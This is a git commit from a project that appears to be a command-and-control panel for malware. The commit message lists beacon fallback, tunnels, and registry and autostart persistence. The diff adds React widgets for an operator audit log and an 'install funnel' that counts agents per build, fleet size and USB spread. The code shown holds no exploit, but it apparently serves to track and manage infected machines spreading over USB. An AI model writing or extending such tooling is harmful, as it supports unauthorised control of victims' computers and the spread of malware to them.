feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence

Extend owned-fleet control with scheduled tasks, audit log, file browser,
HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge
options, KEV exposure in full sys check with Telegram alerts, and UI/tests.
This commit is contained in:
AetherForge
2026-06-04 09:34:33 -07:00
parent d52479c9a6
commit 5fc601b564
111 changed files with 5845 additions and 116 deletions

View File

@@ -0,0 +1,81 @@
import { useEffect, useState } from 'react';
import { api } from '../../api/client';
import type { AuditEntry } from '../../types';
import NeonCard from '../NeonCard/NeonCard';
export function AuditLogStrip({ limit = 8 }: { limit?: number }) {
const [entries, setEntries] = useState<AuditEntry[]>([]);
useEffect(() => {
api.getAudit().then((rows) => setEntries(rows.slice(0, limit))).catch(() => setEntries([]));
const t = setInterval(() => {
api.getAudit().then((rows) => setEntries(rows.slice(0, limit))).catch(() => {});
}, 60000);
return () => clearInterval(t);
}, [limit]);
return (
<NeonCard accent="purple" tilt3d={false}>
<h3 className="font-tech" style={{ fontSize: '0.75rem', marginBottom: '0.5rem', letterSpacing: '0.08em' }}>OPERATOR AUDIT</h3>
<p style={{ color: 'var(--clr-dim)', fontSize: '0.75rem', marginBottom: '0.5rem' }}>Recent actions (last 50 on server)</p>
{entries.length === 0 ? (
<p style={{ color: 'var(--clr-dim)', fontSize: '0.85rem' }}>No audit entries yet.</p>
) : (
<ul style={{ listStyle: 'none', margin: 0, padding: 0, fontSize: '0.75rem', fontFamily: 'monospace' }}>
{entries.map((e) => (
<li key={e.id} style={{ padding: '0.2rem 0', borderBottom: '1px solid #1a1a1a' }}>
<span style={{ color: 'var(--clr-dim)' }}>{new Date(e.timestamp).toLocaleString()}</span>
{' '}
<span style={{ color: 'var(--neon-cyan, #0ff)' }}>{e.username || '—'}</span>
{' · '}
<strong>{e.action}</strong>
{e.agent_id && <span style={{ color: 'var(--clr-dim)' }}> @{e.agent_id.slice(0, 8)}</span>}
</li>
))}
</ul>
)}
</NeonCard>
);
}
export function SpreadFunnelWidget() {
const [stats, setStats] = useState<Awaited<ReturnType<typeof api.getSpreadFunnel>> | null>(null);
useEffect(() => {
api.getSpreadFunnel().then(setStats).catch(() => setStats(null));
}, []);
if (!stats) return null;
return (
<NeonCard accent="cyan" tilt3d={false}>
<h3 className="font-tech" style={{ fontSize: '0.75rem', marginBottom: '0.5rem', letterSpacing: '0.08em' }}>INSTALL FUNNEL</h3>
<p style={{ color: 'var(--clr-dim)', fontSize: '0.75rem', marginBottom: '0.5rem' }}>Agents by build (7 days)</p>
<div style={{ display: 'flex', gap: '1.5rem', marginBottom: '0.75rem', fontSize: '0.85rem' }}>
<span>New today: <strong>{stats.new_connects_today}</strong></span>
<span>Fleet total: <strong>{stats.total_agents}</strong></span>
</div>
{stats.by_build.length === 0 ? (
<p style={{ color: 'var(--clr-dim)', fontSize: '0.85rem' }}>No agents in the last 7 days.</p>
) : (
<table style={{ width: '100%', fontSize: '0.75rem', borderCollapse: 'collapse' }}>
<thead>
<tr style={{ textAlign: 'left', color: 'var(--clr-dim)' }}>
<th>Build</th><th>Worker</th><th>Count</th><th>USB</th>
</tr>
</thead>
<tbody>
{stats.by_build.slice(0, 10).map((r, i) => (
<tr key={i} style={{ borderTop: '1px solid #222' }}>
<td className="mono">{r.build_id.slice(0, 12)}{r.build_id.length > 12 ? '…' : ''}</td>
<td>{r.worker_name}</td>
<td>{r.count}</td>
<td>{r.usb_spread_count > 0 ? r.usb_spread_count : '—'}</td>
</tr>
))}
</tbody>
</table>
)}
</NeonCard>
);
}